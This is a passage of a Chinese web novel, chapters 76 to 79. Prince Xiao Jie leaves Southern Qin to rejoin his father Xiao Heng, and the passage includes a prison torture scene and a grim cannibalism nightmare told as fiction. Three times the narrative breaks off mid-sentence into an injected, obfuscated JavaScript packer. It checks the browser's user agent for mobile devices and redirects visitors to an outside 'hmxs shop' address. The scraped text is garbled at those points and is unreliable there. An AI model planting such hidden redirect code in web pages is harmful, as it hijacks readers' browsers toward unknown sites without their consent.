她将枇杷肉剥出来,搁到一旁白瓷盏里,并不吃,“你这些年自觉愧对萧玠,但扪心自问,你就对得起阿寄?他出生后你一眼不看,直到三岁才把他接回身边。不到十岁的孩子,为了练武身上有一块好皮吗?你给他上过几次药问候过几次?我有时候挺不明白,你既然恨毒了他,为什么又把他养到这么大?” 秦灼没有动作,那橙子却在手中瑟瑟发抖起来。 秦温吉说:“要我说,阿寄才是最热心肠的孩子。他因为你要杀萧恒,因为你护着萧玠——他不恨死萧玠就不错了,他居然护着萧玠。他明明知道因为萧玠,这么多年你该给他的心分走了大半。而你留下萧玠,就是要他偏废,让他从嫡长变成庶孽。” 秦灼勃然道:“我没有!” 秦温吉咯咯笑道:“你没有?好,你站起来,站到父母爷娘跟前发誓,让萧玠做秦太子的心思你从来没有动过,不然你儿子就挫骨扬灰不得好死!” 秦灼砰地站起来,震怒之下浑身哆嗦,厉声喝道:“秦温吉!” 秦温吉目光冷静,“秦灼,就算阿寄大度容得下萧玠,别人容得下?别忘了,秦寄是段映蓝的儿子。你少小读史,应该记得申生、刘琦的下场。” 秦灼眉心一跳。 秦温吉徐徐道:“刘琮生而刘琦废,奚齐立而申生死。阿寄虽不是奚齐刘琮之辈,但段映蓝的手段,只怕胜过骊姬蔡氏百倍。朝廷明枪暗箭,后宫勾心斗角,你真的觉得你能护萧玠长命百岁吗?如果你能护得,他也不会活不过加冠了。” “秦灼,爱之反会害之。这个道理,你该比谁都明白。”秦温吉看向他右手,那颗如同赤心的橙子已被捏成一团烂泥。 她轻轻叹道:“手心手背都是肉。你可以偏心,但记得,过犹不及。” *** 自从萧恒驻扎之后,萧玠开始心神不宁。秦灼没作表示,但让宫人收拾出白虎台的另一间殿室,看样是想让萧玠和秦寄并居。 消息传到白虎台时,秦寄在磨匕首,手中未曾停滞一瞬,匕首的湛湛青光射出窗外,像一种奇异的征象。萧玠坐在一旁,手中持一本明王,许久未动一页。 这样暗流涌动的日子持续了三日之久。 三日后,萧恒宣布太子遇难,亲鞫潮州谋逆案,引兵北还。 闻讯之时萧玠正在做早课,腾地从蒲团上站起来,急声问:“什么叫遇难?陛下已经走了?” 宫人道:“是,梁皇帝下令全军缟素,您的讣闻已传回长安,待皇帝还京,便着礼部发丧。” 萧玠喃喃:“发丧?” 宫人颔首,“听说丧仪已经备妥了。” 短短三日便整齐丧仪,是早有准备。看来萧恒送他南下,就没有打算他会回去。 他为什么觉得自己不会回去? 萧玠追问:“他没给我送什么东西,也没有话吗?一句都没有?” 宫人道:“没有,梁皇帝只是在金河对岸驻兵三日,连咱们的岗哨都没有交涉。” 萧玠问:“那潮州谋逆诸人,陛下如何处置?” 宫人道:“听闻主犯或死或囚,梁皇帝雷霆之怒,金口玉言,要涉案之人血债血偿。” 萧玠浑身一颤。 萧恒少有如此意气之语。 从这几日的消息看来,父亲杀程忠,囚许仲纪,改组潮州细柳两大营,是要借太子之死彻查贪腐、整肃朝堂。 又是一场腥风血雨。 如今杨峥被诬,崔鲲年少,父亲割舍潮州,更是剜疮断腕。以后的路,只会更加艰难。 所以他想要自己走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585881|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧玠愣了一会,丢开那卷经书,慢吞吞往窗边坐了。宫人又从一旁端过一碟果子放到案上,笑道:“前些日您说想吃橙子,大王专门吩咐选了最新鲜甘甜的,名唤黄金盘,还请梁太子尝尝。” 萧玠破开橙子,捧起一角嚼了一会,笑了笑:“好甜。” 宫人也笑了:“比起长安的如何?” 萧玠仍笑着:“橘生淮北则为枳。长安的橙子酸得很,也涩,很少好吃。” 这日秦灼不得闲,秦寄跑去找秦华阳练剑,萧玠便自己用饭。宫人将一只食盒打开,取出几只红玉碟子,笑道:“小厨房供了一些时新野菜,请殿下尝尝新鲜。” 秦灼下令,宫中一应称萧玠殿下。萧玠瞧了瞧,讶然道:“秦地这时节竟下了葵菜吗?” 宫人也有些吃惊:“殿下竟认得葵菜。” 萧玠笑道:“略识得一些。” 他取箸从碟边点了点,“这是藿,这是薤。这是面条菜。” 宫人意想不到:“殿下金枝玉叶,这些野菜还认得如此周全。” 萧玠笑道:“陛下在宫中开了片田,我爱吃什么,他都会种一些。” 宫人吃惊道:“梁皇帝自己种地吗?” “是。” 萧玠看着那碟面条菜,轻轻说:“这菜还有个别名,叫王不留行。” 日影西移,映入窗中一泊淡淡金影。终于,萧玠再度举箸,那如水沉寂便泛起一丝涟漪。他捡一筷面条菜送入口中,缓慢、麻木地咀嚼起来。 *** 萧玠留秦的消息不胫而走,多少有风声刮上南秦朝中。据秦温吉推测,少不了段氏姐弟推波助澜。秦灼仍日日来陪萧玠用饭,但他再精细,也不曾盯着萧玠的汤药烹煮。他是南秦之主,不必事必躬亲。何况秦灼本就不是这种性格的父亲。这种性格的父亲其实少得很。 除他外,秦温吉一家常来坐坐。萧玠心知,姑姑面冷心热,姑父更是面热心热之人,表弟华阳小小年纪便为人持重,又和秦寄感情深厚。至于秦寄,他其实也不少来,但每次都借着找事的名头落些东西。 前几日说拿书帖,就丢下一件厚外套,是少年身量,一看就不是秦寄自己能穿的;昨天说找弩箭,找来找去箭没瞧见,倒把一盒藕粉糕落下了,萧玠打开时见糕点一块没动,还冒着白腾腾的清甜香气。 又过几日,正值初五,秦宫为迎光明,便有升灯习俗。这天秦华阳也入宫来,对萧玠笑道:“再晚些舅舅同我阿耶阿娘一起来,一家吃个团圆饭。” 他又道:“阿寄脾气臭,若有什么冒犯,我替他赔个不是。但你能来,他其实高兴。” 萧玠笑道:“我晓得,阿寄很懂事。” 秦华阳也笑起来:“这么多年,我倒第一次听人夸他懂事。外头升灯了,咱们去瞧瞧。” 他携了萧玠的手,二人一起往檐下去瞧。南秦灯艺卓越,宫灯更是精妙绝伦。各色花形,各类瑞兽,暮色之中灯火盈盈,宛如一带星汉垂降。人间烟火里,病容也变得勃勃生机。 萧玠抬起手,随着脚步一一抚摸灯笼。秦华阳见他的垂胡袖微落,露出螺壳一样的腕骨,心中讶异,这些日海味山珍,萧玠怎么还日渐消瘦? 他暗自思索,却见那只抚灯的手一停,萧玠也脚步一顿,从门口一盏灯下站住,声音有些异样:“这是谁做的?” 秦华阳随他看去,见是一盏走马灯,上有四幅人物图像,正随烛火闪烁徐徐转动。 秦华阳笑道:“是舅舅专门嘱咐做的。听闻表哥有盏走马灯,幼时便爱不释手,舅舅便照记忆中的样子吩咐人做了来。灯笼一律取用上好琉璃,为此废了不少好料。表哥瞧瞧,像不像?” 萧玠再抬手,手掌竟微微颤抖。他轻声说:“像,好像。” 他默然许久,秦华阳不晓得内情,也不知要说什么。一阵风动,叮叮铮铮过,便听宫人跑过来,道:“又起北风了,殿下略站一站便进去,免得风寒。” 秦华阳这几日正读古诗,正应景,便道:“胡马依北风啊。咱们进去吧。” 萧玠浑身一抖,不待秦华阳问,突然跑下台阶,一径飞奔出门。 秦华阳吓了一跳,忙撒开腿追上去,边喊道:“我看着他,快去通传舅舅,再叫医官等着!” 萧玠金尊玉贵,更是秦灼座上之宾,阖宫无人敢拦。秦华阳道他一个病秧子,不料跑得如此之快,循萧玠身影一瞧,心中陡然狂跳。 萧玠要上城墙! 77.第 77 章 玉陷园一祸后,萧玠夜登城墙之事传到南秦,秦华阳现在都记得舅舅惊痛的神情。 妈的,这次又是怎么回事? 萧玠身影已消失在城垛之下,秦华阳不得细想,一路狂奔而上,听到断断续续的咳嗽声。 他在南秦宫城的最高点找到萧玠。 萧玠扶着城墙剧烈咳嗽,在夕阳里如同咳血。秦华阳吓得腿都软了,忙跑上前搀扶他,却见萧玠神智清明,没有半分魇住的意思。 萧玠抬起脸,满脸水光淋淋,大抵是因呛咳而出的眼泪。等站起身,他便双臂撑住垛口,指甲几乎扣进石缝。 秦华阳发现,他在往北方眺望。 萧玠喃喃道:“走了近十天,如果走得快,就要到长安了。到了长安,就望不见了。” 秦华阳替他抚背,感觉掌下的脊背轻轻颤动。等他稍作平复,竟发出笑意:“礼部治丧,议定谥号,我就死了。陛下谨慎,从今往后不会给我送一封信。就算偷偷来看我,也不会叫我知道。他向来是这样的人。” 萧玠擦了把脸,道:“华阳,我是这几年才相信,陛下没有忘记过阿耶哪怕一瞬。他一直在想他。但他好厉害,那么想,还能忍住不见一面,还能让所有人以为,那是恨。” 上一辈的恩怨秦华阳无法置喙,他听萧玠轻轻道:“思念很沉重的,像我,就会把思念吐出来,我一年不断地给阿耶写信告诉他我好想他,这样我就会轻松点。但陛下……他只会自己吞进去。吞金则能死,何况吞相思?有朝一日陛下崩逝,我就是给他致命一击的人。我是个弑君弑父的罪人。我……” 萧玠颤声道:“华阳,我原本以为……我是巢南枝的越鸟。我原本以为我来到南秦会非常快乐。” 城墙之上,一片默然,唯有风声乱射,嗖嗖如箭。萧玠被这万箭洞穿,身体慢慢滑落,在墙根下,像脓血一滩。 *** 这晚家宴,二人并未来迟。 萧玠收拾停当,除了眼圈微红,看不出分毫不妥。他的异常定然已报给秦灼,秦灼却仿若未知,绝口不提此事。 萧玠从他身旁落座,秦灼便递给他一碗樱桃酥酪,是萧玠幼时极爱吃的。只是这些年萧恒为养他的喉症肺症,着意叫他清淡饮食,如今这酪对他来说已经过甜了些。 一席饭毕,秦温吉一家告辞,秦寄没有逗留,自己出去磨剑。秦灼看着案上残羹,叹道:“你的口味变了。” 萧玠笑道:“臣长大了嘛。” 秦灼问:“还爱吃橙子吗?” 萧玠颔首,“爱的。” 秦灼便从旁挑选橙子,没有用刀,亲手剥给他吃。 果肉剥出,白络披拂,像个结霜的灯笼。萧玠双手接过,这么看了一会,轻轻道:“阿耶,我该回去了。” 秦灼并未作色,只问:“不多待几天吗?” 萧玠眼泪登时满溢而出。他微微摇头,说:“不了,再多留几天,我怕我就走不了了。” 秦灼停顿片刻,又问:“留下,不好吗?” 萧玠笑了笑:“我是大梁的储君,留在这里,不是个事儿。” “阿玠,你这次是秘密南下,他现在还朝,已经要给你出殡送葬了。”秦灼道,“他让你来找我,就是做好了你再不回去的打算。” “可……我不能。” 萧玠哑声道:“阿耶,南秦真的很好,天比长安蓝,水比长安清,宫墙比长安低好多,气候也比长安要湿润……但我已经没法适应了。我的身体,我的疾病,已经习惯了北方又干又燥的天气,习惯了一到春天就铺天盖地的柳絮、冬天一出门就能吹得发热的冷风。南秦的气候很适合养我的肺症,但我来了这几天,身上已经开始出疹。你们说,我长得一看就是南方的小孩,可我已经变成了一个彻头彻尾的北方人。十年来,我对南秦日思夜想,但来了之后我才知道,这不是我的故乡。阿耶,我是南秦的种子,但我打小就栽在北方,我这么一株病秧子,怎么能够再挖根动土,栽回到南方的土地上?” 秦灼看着儿子侧脸,低声道:“是阿耶不好,这么多年,让你一个人受了这么多罪,吃了这么多苦。” 萧玠摇头,“不,阿耶,相反,我被照顾得太好了。有一次老师问我,对鱼来说最重要的是什么。我说是饵料、藻泥,甚至是太阳和沙穴,最后老师说,是水。” 他笑着,双唇却颤抖:“阿耶,对鱼来说最重要的是水啊。鱼忘了,我也忘了。” 殿中陷入沉静,萧玠看向掌心,那颗橙子饱满赤亮,像秦灼挖出来的心。他颤声道:“我这么说,没有一星半点怨怪你的意思。我知道你多么想陪我长大,我知道我快病死的时候,你恨不得替我去死……可阿耶,其实……我们都要接受一件事,我早就不是你的水,你……也不是我的水了。 “你身边有姑姑姑父,有段宗主,有阿寄,有这么多信赖你拥护你的臣民,但阿爹……阿爹他只有我了。他朝中都是仇人,现在连最亲的兄弟都背叛了他,最信赖的臂膀在背后狠狠捅了他一刀。伯父走后生死未卜,老师坟头的野草已经三尺高了……他如果没有我……” 萧玠哽咽道:“阿耶,鱼没有水,怎么活得下去?” 秦灼一时无言。萧玠看着他的脸,突然抱住他的腿跪地哭道:“阿耶,我想你我好想你,我这辈子都不想离开你。他抛弃了你,他割舍了你,他那么辜负你,我该怨他恨他,我该抛弃他再不回去。可我,我……” 他放声大哭:“我不孝啊,我不孝啊!” 秦灼俯身抱住他,像他出生之后第一次抱他一样。他的儿子,他的珍宝,他此生最最贵重的礼物。 他是个最自私的人,除了对萧玠。如果世上只能有一个人幸福,他希望是萧玠。 秦灼搂他在怀,像小时候哄他睡觉一样轻轻拍打他,柔声说:“阿玠,阿耶只希望你好好的。只要你好,怎么都成。” *** 夜深人静,宫门迭开。 最后一重宫门口,立着一人一马的黑影。 一匹高大健美的黑马,一个犹如精怪的男孩。 月光之下,男孩眼如血珠,肤如青铜。萧玠握紧白马缰绳,感受到男孩眼中射出冷箭,如同蛇信,触肤生烟。 秦寄说:“这就是你的选择。” “是。” “从今往后,你不再是我阿耶的儿子,你是那个昏君的儿子。”秦寄恶毒地称呼,“梁皇太子殿下。” 萧玠只道:“我该走了。” 秦寄一动不动。 萧玠轻轻振动缰绳,白马迈步上前。黑马白马擦身,二人影子交叠之际,萧玠低声叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“丧仪如何?” “礼部说,殿下入殓,须得宫人为之更换冠服,再含玉蝉。陛下是君父,亲自做这些……不合规矩。” “告诉礼部,再敢指点我儿子的丧事,我摘他们的帽子。”萧恒说完,重重喘了口气,突然一拍筷子,喝道,“叫他们滚去给太子守陵!” 他何曾如此暴怒过,秋童连连应是。半晌,方听萧恒道:“春风无限潇湘意,欲采蘋花不自由。你是看着他长大的,阿玠这孩子……不该关在宫里。他在宫里,就是被困死。” 萧恒看着他,“还是走了好。” 秋童泪落涟涟,“是,走了好。咱们不就是盼着殿下好吗?” 残烛已烬,剩羹已冷,秋童上前收拾碗筷,萧恒也要动身回去继续看折子,还没出门,已经听得外头一阵喧哗。隐约有惊呼声起,大叫闹鬼显灵。秋童心中一紧,正要出门怒斥,却听东宫宫门砰然打开。 他嘴巴大张,想要叫人,却只发出呜咽之声。 那人风尘仆仆,径自向前走来,冲他身后缓缓站起的皇帝笑道:“阿爹。” “臣想吃馎饦。” 78.第 78 章 许仲纪下台狱整整三日,三日之内,不饮不食。 门外铁链响动,牢门吱呀推开。许仲纪因久饿有些迟钝,直到来人从面前坐下,他才认出这是白了两鬓的萧恒。 许仲纪撑身要起,被萧恒按住手臂。接着,萧恒将食匣放在桌上,取出一碟炖烂的酥鱼,一碟花生米,两双箸,两碗菜粥。 萧恒道:“你这些天没吃饭,我胃也不好,就不吃酒了,喝粥。这是潮州的长船米,比长安的米好,有嚼头。” 许仲纪默然片刻,将箸拾在手中,说:“臣谢陛下隆恩。” 萧恒挟鱼肉给他,自己也吃。二人一时无声,只相对吃饭。等那碗粥下去一半,萧恒问:“上次咱们这么吃饭是什么时候?” “陛下进京登基前,在潮州。”许仲纪一顿,“十一娘第一个忌辰。” 萧恒颔首,“十七年过去了,你也见老了。民以食为天,哪能不吃饭呢?” 许仲纪双手颤抖起来。 萧恒叹道:“你最初投奔我,我不大放心。还是渡白说话,说你是个情痴,把崔怀化放得太重。哪边向着她,你就跟哪边干。这么多年,你一直供养杨夫人。杨家的事,你也没少跑动。” 说及杨家,许仲纪忍不住道:“陛下,杨士嵘的确冤枉,谁都可能贪墨他不会。他外放这么多年兢兢业业,在丰州没有置办一处私产,他的清廉是上下皆知。陛下切莫因小人之言错判忠良……忠良不多了。” 萧恒笑了笑:“是,忠良不多了,有时候孰忠孰奸我也分辨不出了。就像看你、看程忠、看潮州营细柳营那么多年,我看出哪个来呢?” 他捡了片鱼肉丢进自己粥碗,“我刚到潮州那年,旱后大涝,雨一退下去土红得跟冒血一样。饿啊,老的一把骨头,小的摸着没有一点肉,那时候为了一口饭什么都干得出来。我挑断手筋那一阵大病一场,他们也不知道从哪弄的粮食,一天三碗米汤给我灌回来。我那时候就知道,潮州是我第二个娘。” 萧恒道:“仲纪,兄弟,你们这么糟践我娘。” 许仲纪双唇颤抖,许久未出一声。萧恒喝了口粥,继续道:“阿玠出事之后,我上白龙山又给他求过一次。回来戴了面具,从一边要了碗茶汤吃。真是茶余饭后的笑料啊,来来往往十六桌人,有十四桌都在说被捉奸的皇太子。” 许仲纪声音艰涩:“玉陷园之事……臣事先不知道。殿下出事传到潮州,臣才明白,是程忠动的手脚。” 萧恒道:“你知道元凶,还是袒护。” 许仲纪道:“臣罪丘山。” 萧恒点点头,说:“吃饭吧。” 许仲纪埋头吃粥。 桌上烛火跳动,壁上人影颤抖。萧恒放下吃干净的粥碗,道:“明日午时处斩程义,承天门曝尸。到时候,我把东西给你送来,自己选一样。你如果想陪崔将军,我去和杨夫人说。” 许仲纪笑道:“陛下圣恩浩荡,算了。我在那儿,脏了她的地方。陛下把我的尸首发还潮州吧,让父老乡亲们出口恶气,不管他们干什么怎么干,我都愿意。” 萧恒道:“好。” 他不再多说,起身要走,将出牢房前,身后突然传来许仲纪颤抖的声音:“陛下,事发之后,潮州上下对陛下没有丝毫怨言。程忠兄弟搜捕殿下时,他们护着殿下跟当年护着您一样,您无需因臣下之罪自苦。您给潮州……再好好挑个父母官吧。” 他对着萧恒僵直的背影叩首,高声道:“臣恭送陛下!” 牢房外,秋童听得这声高呼,紧接着,就听到重物撞击的声音,那破裂声像打碎一只蛋壳。片刻后,萧恒从门后走出来,脸上没什么异样,身体却重重晃了一下。秋童忙上前搀扶住他,见他轻车熟路地掰开带钩,吞下一粒漆黑药丸。缓和一会,秋童听他吩咐:“叫人给他收尸,发送潮州。” 秋童不敢多言,连忙应是,问:“陛下,咱们是回甘露殿,还是去看看殿下?” 萧恒问:“那几个影子都活着吧。” *** 许仲纪撞壁身亡的死讯传入东宫时,萧玠刚接到迟来的噩耗。 那具身穿自己衣物的尸首不是沈娑婆,是阿子。 离他更近、陪他更久的另一个人。 新来服侍的瑞官侍立在侧,按照萧恒吩咐,将阿子死状照实回禀,自己也忍不住,边说边垂泪。萧玠没有言语,只是立即遣散众人。瑞官守在东宫庭中,几乎是刚一关门,就听见窗内传出压抑的痛哭之声。 一炷香后,萧玠已重新洁面整衣,亲自赶往关押凶犯的台狱。 台狱之中,狼嚎鬼哭。 尉迟松守在牢外,见来人大惊,忙快步迎上前搀扶,“殿下怎么到了这种腌臜之地,里头很是不堪,只怕冲撞鹤驾。” 萧玠也有些诧异,“将军三品大员,何以在此?”问出口时他便醒转,“陛下在这里?” 尉迟松道:“殿下请回吧,陛下定不愿殿下见此形状的。” 萧玠深深看他一眼,继续往狱中走去。 牢狱间灯火昏黄,光影纠结如同鬼影。天气渐热,腥臭之气铺天盖地,如同糟污未洗的皮毛厚衣,蒙头蒙脑地向萧玠裹来。萧玠勉强屏气,越往前,惨叫之声越凄厉,他身体微微一晃,已经被尉迟松牢牢扶住。 萧玠看向尉迟松,这个从秦灼手下任职多年、如今又在萧恒御前看他长大的汉子。他低声道:“将军,你不带我去,我只能一间一间地找,多走冤枉路而已。” 尉迟松咬牙片刻,还是道:“卑职为殿下引路。” 走近牢门时,萧玠听见一声惨叫。他匆忙闯入,见一条汉子正吊在刑床前,被萧恒紧紧掐住下颌,嘴里四溢鲜血。 那人含糊不清道:“可惜,只是一个内侍,在我们手底下熬了一天一夜才彻底断气。如果是你儿子,只怕一穿琵琶骨就能痛到半死。” 紧接着,一声闷哼从他嘴中冲出,却被萧恒死死捏在他齿关之中。萧恒五指指节狰狞,是左手。 他的右手呢? 萧玠看到父亲右臂一动,一只铁钩在他手中如同蝎钩,自肩后刺穿那影子的琵琶骨。 扑哧一声,血花飞射,溅在萧恒脸上,他面无表情。 萧玠这才看到,萧恒右侧的长案上铺满刑具,青光闪烁,形制繁多,只大小刀类就有十数。刀光沾血,折射烛光,将父亲背影投射在油垢漆黑的壁上。父亲五根手指一动,影子伴随骨骼碎裂声在墙上延伸,宛如恶鬼挖心的指掌。 萧恒动作干脆利落,从一旁摘下另一枚铁钩将影子另一边胛骨凿穿。影子忍不住厉声谩骂,萧恒松开铁钩,顺势照他脸上来了一拳。那一拳打出一口鲜血在地,合几枚破碎的牙齿。 自始至终,萧恒未发一言。 萧玠惊骇至极,一时竟忘记上前阻止。 这是他第一次如此具象地意识到父亲的恨。 死的的确不是萧玠……但死的本该是萧玠。 被虐杀,被活剖,被畜牲一样宰割,连惨死和痛苦都被以为乐。 萧恒没有回身,从一旁拿起一枚铁扳指戴上。那扳指镶有一枚长约四寸的三棱铁刺。 影子扭曲的叫声里,萧恒撑开他的眼皮,挥拳冲眼球抡下去—— 他手臂被人用力抱携住,萧玠已扑身上前,拼命拖拽他的臂膀,急声叫道:“阿爹,阿爹!国有国法,你纵是皇帝也不能滥用私刑!你若因为我虐杀他们,天下人要怎么说你?一个残忍徇私的暴君吗?” 萧恒不答,顺势用右手把萧玠拦在身后,就要再动左手,突然听萧玠叫道:“你要新法因此失去信力吗!” 感到父亲浑身一僵,萧玠忙劝道:“阿爹,废除酷刑的是你,你这一刀下去,所有的金口玉言都变成一张草纸。这不是咱们一家子的事,你想想枉死的人,你想想老师!你和老师十数年的心血,你就让它这么毁于一旦吗!” 萧玠凝视父亲的脸,那张脸孔溅血,宛如修罗。 “小时候老师教过我,以德报怨,无以报德;以怨报怨,无以有德。所以立国家公器,以直报怨,使所德有扬,所恶有报。” 他轻声说:“国法会判处他们,既有公理,何劳私刑。” *** 直到从甘露殿坐下,萧玠也没有放开萧恒的手臂。他倒一盏热茶递在萧恒掌心,感觉父亲掌心湿黏。 萧恒握着那盏茶,突然说:“阿玠,我没和你讲过玉升元年的潮州。” “我知道。”萧玠说,“我读过地方志,也读过老师的手记。” 玉升元年,天灾未解,人祸酿成。血红欲滴的满月,肉香欲呕的汤镬。如同饿殍的土地,如同炼狱的潮州。 他的父亲化作阎罗,通过惨无人道的方式,从死神嘴里抢出三千条人命。为此,他付出了远逾天谴的代价。 萧玠问:“你到今天还在梦到,对吗?” 萧恒浑身一竦,在儿子眼底看到自己如同骷髅的倒影。 是那个二十年后,他依然深陷的梦境。 梦见人食人,驱人食人,井然有序地食人。 他的反应已经给出答案。 萧玠深吸口气:“我在南秦见到阿寄,他告诉了我将军庙的情形。他们逼你杀一救一。” “所以那个梦里,有了我。” 一瞬间,萧玠怀疑萧恒停止了呼吸。他握紧父亲的手,父亲殊无反应。萧玠深悔自己如此逼问,忙要道歉,这时候,萧恒开口了:“第一次梦到你,只是一张名单。” “在食尽尸体之后,要食活人,到无罪的活人时,我安排的先吃我。但在梦里,你的名字排在第一,我一下子就醒了。第二次梦到你,是在那口大锅前,火已经烧起来了。水煮沸了,打雷一样响着。你那时候还很小,是五岁还是七岁?我看到他们把你提起来剥干净,像清洗牛羊一样涮洗你,你哭啊叫啊,喊阿爹救我、阿爹救我。” 说到这里,萧恒微微战栗:“我求他们,我磕得满头是血,我说先吃我,求求你们别吃我儿子先吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591876|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。这时候,提你的人发话——我看到了他的脸。” 萧恒看向儿子,问:“你知道吴月曙吗?玉升年最后一个潮州刺史。西琼退兵后,他自刎把潮州交给我,他的妹妹吴薰做了第一个被分食的人。吴月曙拎着你的右脚倒提,你半个头快要伸进锅里,他边哭边问我:怎么,我的妹妹吃得,你的儿子就吃不得?我说放了我儿子,我来替他死。吴月曙问,当时当日,我能替我妹妹死吗? “然后他把你扔进锅里。我听见一声巨响。我不知道是什么声音。等我睁开眼时我以为梦结束了,但是没有,吴月曙掰开我的嘴,往我嘴里灌肉汤。我怎么能不知道是谁的肉?但他一个快饿死的书生,梦里却力气奇大。他边灌边说,喝吧,记得你是怎么逼我喝我妹妹的汤吗?喝吧重光,你得好好活着,虎毒不食子啊。” 说到这里,萧恒停顿了许久,缓了口气再度开口:“后来程忠谋逆,我追到金河边,那夜,梦到了第三次。” “梦里你已经是个大孩子了,被捆住双手,像牵羊一样牵上台去。我听到……” 萧恒重重喘息一声,话音戛然而止。 萧玠靠在他手臂上,柔声道:“阿爹,你说吧,说出来,我要听。” “我听到他们,议论你。”萧恒艰涩道,“像当年议论你阿耶一样。” 他整个身体都在哆嗦,“可我不能杀他们,我害了他们,我愧对他们。他们指点你我不能杀他们,他们那么看你……我还要你被他们吃掉。那口锅又烧起来了,烧锅的手丢掉最后一根柴火,从腰间把刀拔出来割断你手上的绳索。然后,脱掉你的外衣。那种方式,跟上个梦里不一样。” 萧玠问:“他们要凌辱我之后,再吃掉我吗?” 他感到父亲浑身剧烈一抖。萧玠看到,一颗豆大的汗珠从他鼻尖滚下…… 不,那不是汗水。 是泪。 玉陷园那场暴雨,淹没的不只自己一个人。 萧玠低声问:“脱我衣服的是谁?阿爹,你看清了他,是不是?” 萧恒把脸埋在两只手掌间,第一次在儿子面前流露出如此不堪一击的姿态。萧玠仍在追问:“是王云楠,是程忠,是许仲纪,还是虞闻道?或者……是他们所有人?” 萧恒没有回答这个问题。 许久,他从手掌中抬起脸,哑声说:“你没有挣扎,你越过他们,看着另一个人。那个人站在人群外,提着刀,等这一切结束,把你宰割分食。” 萧玠问:“那个人,是你吗?” “阿玠。”萧恒叫他。 “我在,”萧玠忙道,“我在阿爹。” 萧恒抬手抚摸他脸颊,叫道:“儿啊。” 萧玠用力抱住他。 他永远可靠、强大、坚不可摧的父亲,一直困在潮州的严冬没有走出来。如今玉陷园的暴雨也像刀子一样凌迟着他的精神。 萧恒哑声道:“阿玠,阿爹没用。你小时候我护不住你,现在还是护不住你。你该留在那边的……在那边,你会好过很多。” 萧玠用力贴住他的脸,更紧地抱住他,说:“阿爹,我们说好,我离二十岁还有三年,这三年里,我可能还会和你吵架、生气、闹别扭,甚至会说一些很伤人的话。这三年的一些时间,我肯定会后悔为什么没有留在南秦。但你要知道,我不会离开你。这次回来是我深思熟虑后非常自私的决定。阿爹你知道吗,我已经不是阿耶的命了。” “可是陛下,你的生死,都在我手里。” *** 内侍阿子由太子做主,葬于京郊白龙山。 是日,皇太子未遣仪仗,服素,亲扶灵。坟墓落成后,护卫的太子六率先行下山等候。 黄昏人静,日薄山丘,松声鸦声里,萧玠从墓前跪倒,找出香烛。 他擦亮火折,缓缓说:“阿子,你家没有祖坟,我让人去问你舅舅能不能落在母家,他也推三阻四。咱们不强人所难,以后我挨着你,咱们做个伴。” 萧玠点燃香烛,道:“我知道他们能痛痛快快地死,是因为死的不是我,是因为你已经没有父母了。如果被虐杀的是我,这番道理劝不住陛下。没有任何一个眼见儿子惨死的父亲能够忍受。能劝住他,因为他虽痛,却非切肤之痛。你为我而死,我们却踩在你的尸骨上,站着说话不腰疼。” 他凝视烛火,“阿子,好弟弟,你是替我死的。我永远欠你这条命。” 萧玠抬头,日影斜晕,苍穹一半焦黄,一半烟紫,像匹被熏笼烤坏的上好缎子。去年年初,也是这样一模一样的天空下,萧玠病来山倒,坐在庭中等见秦灼最后一面。他看着晚天,对一旁陪伴的阿子道:你还记得你看过最漂亮的天空吗? 原来那么早,这个孱弱胆怯的孩子,就给出了他最后的答案。 萧玠抓起坟前一捧黄土,眼泪坠落,溅起土花朵朵。 他轻声说:“阿子,若有神明,你但来索命。” “若无神明,请你在天上,看着我。” 79.第 79 章[番外] 我小时候去过几次南秦,那边的天和北方不一样。哪怕在宫苑里,天也不是四方的。水蓝颜色,那么广,那么远,风刮起来的时候,满天白云就像满山羔羊。你知道吗,我还在那边见过鹰。我坐在马背上,就能听到云后苍鹰的呼声。 萧玠坐在藤椅里,静了许久,忽然问了一句不该问他的话。那句话的对象听上去像朋友或诗人。 萧玠问,阿子,你还记得你看过最漂亮的天空吗? 阿子一愣,抬头看向萧玠时,也看到了萧玠头顶四四方方的天。宛如尸布的天。东宫的天。 从前他对东宫生活总有许多遐想,发卖他的娘舅曾告诫,进宫你就有好日子过,能进东宫伺候更是你爹那穷坟头上冒了几辈子的青烟。东宫好,东宫是皇太子住的地儿,皇太子是皇帝的心头肉掌上珠。穿的都是绫罗锦绣,比东村最漂亮的娘们的胳膊都细腻;吃的都是熊掌鱼翅,比你过年啃的那口肉都酥烂弹牙。你进了宫就是泼天福贵,真分到太子身边,亲娘,那可是咱全家全族的大福气! 阿子怀揣一个有关福气的梦想,和一群同龄男孩走上通往深宫最深处的大路。和开头还能回忆或虚构与东宫初见天色的沈娑婆不同,阿子不记得那天空,一个只能低头走路的人怎能记住天空呢?但阿子记得宫门合闭的声音,他知道那一刻所有人和他一样脊背一竦,身后的不像是门像巨兽。宫门关闭时阿子感觉自己被它吃掉了一部分。 